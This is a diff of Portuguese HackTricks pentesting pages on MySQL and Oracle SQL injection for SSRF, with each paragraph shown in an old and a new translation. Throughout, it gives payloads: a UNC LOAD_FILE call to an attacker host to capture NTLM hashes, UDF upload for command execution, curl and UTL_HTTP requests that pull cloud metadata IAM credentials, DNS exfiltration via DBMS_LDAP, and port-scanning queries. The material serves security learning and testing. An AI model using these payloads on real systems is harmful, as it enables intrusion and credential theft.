* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

76
pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
View file

@ -2,83 +2,81 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
### LOAD\_FILE/LOAD DATA/LOAD XML para SSRF
Todo artigo de exfiltração de dados SQL Out of Band usará a função de string `LOAD_FILE()` para fazer uma solicitação de rede. A função em si tem suas próprias limitações com base no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.
Todo artigo sobre exfiltração de dados Out of Band via SQL usará a função de string `LOAD_FILE()` para fazer uma requisição de rede. A função em si tem suas próprias limitações baseadas no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.
Por exemplo, se a variável global `secure_file_priv` não estiver definida, o [valor padrão é definido como `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), o que significa que você só pode usar funções como `LOAD_FILE('nome_do_arquivo')` ou `LOAD DATA [LOCAL] INFILE 'nome_do_arquivo' INTO TABLE nome_da_tabela` para ler arquivos do diretório `/var/lib/mysql-files/`. Para poder realizar leituras em arquivos fora deste diretório, a opção `secure_file_priv` deve ser definida como `""`, o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização `--secure_file_priv=""` para o serviço de banco de dados.
Por exemplo, se a variável global `secure_file_priv` não foi definida, o [valor padrão é definido como `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), o que significa que você só pode usar funções como `LOAD_FILE('filename')` ou `LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename` para ler arquivos do diretório `/var/lib/mysql-files/`. Para poder realizar leituras em arquivos fora deste diretório, a opção `secure_file_priv` tem que ser definida como `""`, o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização `--secure_file_priv=""` para o serviço do banco de dados.
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/2.png)
No entanto, sob circunstâncias em que `secure_file_priv` está definido como `""`, deveríamos ser capazes de ler outros arquivos no sistema, assumindo permissões de leitura de arquivos e `file_priv` definido como `Y` em `mysql.user` para o usuário atual do banco de dados. No entanto, a capacidade de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas de rede relevantes que podem ser feitas são para caminhos UNC em hosts Windows, já que a [API `CreateFileA` do Windows que é chamada ao acessar um arquivo entende as convenções de nomenclatura UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
No entanto, em circunstâncias em que `secure_file_priv` é definido como `""`, deveríamos ser capazes de ler outros arquivos no sistema, assumindo permissões de leitura de arquivo e `file_priv` definido como `Y` em `mysql.user` para o usuário do banco de dados atual. No entanto, ser capaz de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas relevantes para a rede que podem ser feitas são para caminhos UNC em hosts Windows, pois a [API `CreateFileA` do Windows que é chamada ao acessar um arquivo entende as convenções de nomenclatura UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
Então, se o banco de dados alvo estiver rodando em uma máquina Windows, a query de injeção `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` resultaria [na máquina Windows enviando hashes NTLMv2 em uma tentativa de autenticar com o servidor controlado pelo atacante `\\attackerserver.example.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
Portanto, se o banco de dados de destino estiver sendo executado em uma máquina Windows, a consulta de injeção `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` resultaria no envio da máquina Windows de hashes NTLMv2 na tentativa de autenticar com o `\\attackerserver.example.com` controlado pelo atacante.
Esse Server Side Request Forgery, embora útil, está restrito apenas à porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos configurados com privilégios de leitura completos. Além disso, como foi mostrado em pesquisas anteriores, você pode usar essa capacidade limitada de SSRF para roubar hashes e transmiti-los para obter shells, então definitivamente é útil.
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/3.png)
Este Server Side Request Forgery, embora útil, é restrito apenas à porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos configurados com privilégios de leitura completos. Além disso, como mostrado em pesquisas mais antigas, você pode usar essa capacidade limitada de SSRF para roubar hashes e retransmiti-los para obter shells, então é definitivamente útil.
### Funções Definidas pelo Usuário para RCE
Outra técnica interessante com bancos de dados MySQL é a capacidade de usar Funções Definidas pelo Usuário (UDF) presentes em arquivos de biblioteca externos que, se estiverem presentes em locais específicos ou no $PATH do sistema, podem ser acessados de dentro do MySQL.
Outra técnica interessante com bancos de dados MySQL é a capacidade de usar Funções Definidas pelo Usuário (UDF) presentes em arquivos de biblioteca externos que, se presentes em locais específicos ou no $PATH do sistema, podem ser acessadas de dentro do MySQL.
Você pode usar uma Injeção de SQL para **escrever uma biblioteca (`.so` ou `.dll`** dependendo do Linux ou Windows), contendo uma Função Definida pelo Usuário que pode fazer solicitações de rede/HTTP, que podem ser então invocadas por meio de consultas adicionais.
Você poderia usar uma SQL Injection para **escrever uma biblioteca (`.so` ou `.dll`** dependendo de Linux ou Windows), contendo uma Função Definida pelo Usuário que pode fazer requisições de rede/HTTP, que pode ser então invocada através de consultas adicionais.
Isso tem suas próprias restrições. Com base na versão do MySQL, que você pode identificar com `select @@version`, o diretório de onde os plugins podem ser carregados é restrito. O MySQL abaixo de `v5.0.67` permitia que arquivos de biblioteca fossem carregados do caminho do sistema se a variável `plugin_dir` não estivesse definida. Isso mudou agora e versões mais recentes têm a variável **`plugin_dir`** definida como algo como `/usr/lib/mysql/plugin/`, que geralmente é de propriedade do root.
Isso tem seu próprio conjunto de restrições. Baseado na versão do MySQL, que você pode identificar com `select @@version`, o diretório de onde os plugins podem ser carregados é restrito. MySQL abaixo de `v5.0.67` permitia que arquivos de biblioteca fossem carregados do caminho do sistema se a variável `plugin_dir` não fosse definida. Isso mudou agora e as versões mais recentes têm a variável **`plugin_dir`** definida para algo como `/usr/lib/mysql/plugin/`, que geralmente é de propriedade do root.
Basicamente, **para carregar uma biblioteca personalizada no MySQL e chamar uma função da biblioteca carregada via Injeção de SQL, você precisaria**:
Basicamente **para você carregar uma biblioteca personalizada no MySQL e chamar uma função da biblioteca carregada via SQL Injection, você precisaria**:
* ter a **capacidade de gravar no local** especificado em **`@@plugin_dir`** via Injeção de SQL
* **`file_priv`** definido como **`Y`** em `mysql.user` para o usuário do banco de dados atual
* **`secure_file_priv`** definido como **`""`** para que você possa ler os bytes brutos da biblioteca de uma localização arbitrária, como a rede ou um diretório de uploads de arquivos em um aplicativo da web.
* capacidade de **escrever no local** especificado em **`@@plugin_dir`** via SQL Injection
* **`file_priv`** definido como **`Y`** em `mysql.user` para o usuário atual do banco de dados
* **`secure_file_priv`** definido como **`""`** para que você possa ler os bytes brutos da biblioteca de um local arbitrário como a rede ou um diretório de uploads de arquivos em uma aplicação web.
Supondo que as condições acima sejam atendidas, você pode usar a **abordagem clássica de transferir a** [**biblioteca UDF popular do MySQL `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **para o servidor de banco de dados**. Você então seria capaz de fazer solicitações de comandos do sistema operacional como `cURL` ou `powershell wget` para realizar SSRF usando a sintaxe
Assumindo que as condições acima sejam atendidas, você pode usar a **abordagem clássica de transferir a** [**popular biblioteca UDF do MySQL `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **para o servidor do banco de dados**. Você então seria capaz de fazer solicitações de comandos do sistema operacional como `cURL` ou `powershell wget` para realizar SSRF usando a sintaxe
`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
Existem muitas outras funções declaradas nesta biblioteca, uma análise das quais pode ser vista [aqui](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Se você é preguiçoso como eu, pode pegar uma cópia desta biblioteca UDF, para o sistema operacional de destino, de uma instalação do metasploit no diretório `/usr/share/metasploit-framework/data/exploits/mysql/` e começar a usar.
Há muitas outras funções declaradas nesta biblioteca, uma análise das quais pode ser vista [aqui](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Se você é preguiçoso como eu, pode pegar uma cópia desta biblioteca UDF, para o sistema operacional alvo, de uma instalação do metasploit do diretório `/usr/share/metasploit-framework/data/exploits/mysql/` e começar.
Alternativamente, bibliotecas UDF foram criadas especificamente para fornecer ao banco de dados a capacidade de fazer solicitações HTTP. Você pode usar [MySQL User-defined function (UDF) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) para fazer com que o banco de dados faça solicitações HTTP, usando a seguinte sintaxe
Alternativamente, bibliotecas UDF foram criadas especificamente para fornecer ao banco de dados a capacidade de fazer requisições HTTP. Você pode usar [MySQL User-defined function (UDF) para HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) para fazer o banco de dados realizar requisições HTTP, usando a seguinte sintaxe
`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
Você também pode [criar sua própria UDF e usá-la para pós-exploração também.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
Em qualquer caso, você precisa transferir a biblioteca para o servidor de banco de dados. Você pode fazer isso de várias maneiras:
1. Use a função de string `hex()` do MySQL ou algo como `xxd -p filename.so | tr -d '\n'` para converter o conteúdo da biblioteca para formato hexadecimal e, em seguida, despeje-o no diretório `@@plugin_dir` usando `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
De qualquer forma, você precisa transferir a biblioteca para o servidor do banco de dados. Você pode fazer isso de várias maneiras
1. Use a função de string `hex()` do MySQL ou algo como `xxd -p filename.so | tr -d '\n'` para converter o conteúdo da biblioteca para formato hexadecimal e depois despejá-lo no diretório `@@plugin_dir` usando `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
2. Alternativamente, converta o conteúdo de `filename.so` para base64 e use `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
Se o `@@plugin_dir` não for gravável, você está sem sorte se a versão for superior a `v5.0.67`. Caso contrário, escreva em um local diferente que esteja no caminho e carregue a biblioteca UDF de lá usando:
Se o `@@plugin_dir` não for gravável, então você está sem sorte se a versão for acima de `v5.0.67`. Caso contrário, escreva em um local diferente que esteja no caminho e carregue a biblioteca UDF de lá usando
* para a biblioteca `lib_mysqludf_sys` - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
* para a biblioteca `mysql-udf-http` - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/4.png)
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/5.png)
Para automatizar isso, você pode usar o SQLMap que suporta [o uso de UDF personalizado através da opção `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Para automatizar isso, você pode usar o SQLMap, que suporta [o uso de UDF personalizada por meio da opção `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Para Injeções de SQL Cego, você pode redirecionar a saída das funções UDF para uma tabela temporária e, em seguida, ler os dados de lá ou usar [uma solicitação DNS embutida em um comando curl `sys_eval` ou `sys_exec`](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
Para SQL Injections cegos, você poderia redirecionar a saída das funções UDF para uma tabela temporária e depois ler os dados de lá ou usar [requisição DNS contrabandeada dentro de um comando `sys_eval` ou `sys_exec` curl](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

76
pentesting-web/sql-injection/oracle-injection.md
View file

@ -1,34 +1,36 @@
# Injeção no Oracle
# Injeção Oracle
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## SSRF
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outras SSRF/XSPA.
Usar Oracle para fazer requisições HTTP e DNS Out of Band é bem documentado, mas como meio de exfiltrar dados SQL em injeções. Podemos sempre modificar essas técnicas/funções para fazer outros SSRF/XSPA.
A instalação do Oracle pode ser muito dolorosa, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), que me permitiu configurar uma instância em uma máquina Ubuntu AWS t2.large usando o Docker.
Instalar Oracle pode ser realmente doloroso, especialmente se você quer configurar uma instância rápida para testar comandos. Meu amigo e colega na [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large com Docker.
Executei o comando docker com a flag `--network="host"` para que eu pudesse simular o Oracle como uma instalação nativa com acesso total à rede, durante o decorrer deste post do blog.
Eu executei o comando docker com a flag `--network="host"` para que eu pudesse simular o Oracle como uma instalação nativa com acesso total à rede, para o decorrer deste post no blog.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Pacotes Oracle que suportam uma especificação de URL ou Nome de Host/Número de Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Pacotes Oracle que suportam especificação de URL ou Hostname/Número de Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Para encontrar quaisquer pacotes e funções que suportem uma especificação de host e porta, executei uma pesquisa no Google na [Documentação Online do Oracle Database](https://docs.oracle.com/database/121/index.html). Especificamente,
Para encontrar pacotes e funções que suportam especificação de host e porta, realizei uma pesquisa no Google na [Documentação Online do Oracle Database](https://docs.oracle.com/database/121/index.html). Especificamente,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar uma rede de saída)
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
@ -45,7 +47,7 @@ A pesquisa retornou os seguintes resultados (nem todos podem ser usados para rea
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Essa pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente aponta para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
Esta pesquisa bruta obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) já que [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente te direciona para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações externas que eu possa ter perdido.
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
@ -53,26 +55,28 @@ De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e
O pacote `DBMS_LDAP` permite o acesso a dados de servidores LDAP. A função `init()` inicializa uma sessão com um servidor LDAP e recebe um nome de host e número de porta como argumento.
Essa função já foi documentada anteriormente para mostrar a exfiltração de dados por meio do DNS, como abaixo
Esta função foi documentada anteriormente para mostrar a exfiltração de dados por DNS, como abaixo
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você também pode usá-la como um scanner de portas.
```markdown
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você pode usar isso para funcionar como um scanner de porta também.
Aqui estão alguns exemplos:
Aqui estão alguns exemplos
```
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Um `ORA-31203: DBMS_LDAP: PL/SQL - Falha na Inicialização.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estar aberta.
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada enquanto um valor de sessão aponta para a porta estar aberta.
**UTL\_SMTP**
O pacote `UTL_SMTP` é projetado para enviar e-mails por SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar esse pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer um host e especificação de porta.
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos
```
DECLARE c utl_smtp.connection;
BEGIN
@ -86,13 +90,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
Um `ORA-29276: transfer timeout` indica que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um `ORA-29278: SMTP transient error: 421 Service not available` indica que a porta está fechada.
Um `ORA-29276: transfer timeout` indica que a porta está aberta, mas não foi estabelecida conexão SMTP, enquanto um `ORA-29278: SMTP transient error: 421 Service not available` indica que a porta está fechada.
**UTL\_TCP**
O pacote `UTL_TCP` e seus procedimentos e funções permitem a comunicação baseada em TCP/IP com serviços. Se programado para um serviço específico, este pacote pode se tornar facilmente uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, esse pacote pode facilmente se tornar uma entrada na rede ou realizar Solicitações de Lado do Servidor completas, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
O exemplo no [site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificar ainda mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -132,32 +136,32 @@ END;
utl_tcp.close_connection(c);
END;
```
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da instância de todos os provedores de nuvem, pois o tipo de método e os cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
**UTL\_HTTP e Requisições Web**
**UTL\_HTTP e Solicitações Web**
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle fora de banda seja o pacote [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de protocolo de transferência de hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet por meio do HTTP.`
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção SQL Oracle Out of Band seja o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP permite chamadas do Protocolo de Transferência de Hipertexto (HTTP) a partir de SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Você também pode usar isso para realizar uma varredura básica de portas com consultas como
Você também pode usar isso para realizar varreduras de portas rudimentares com consultas como
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
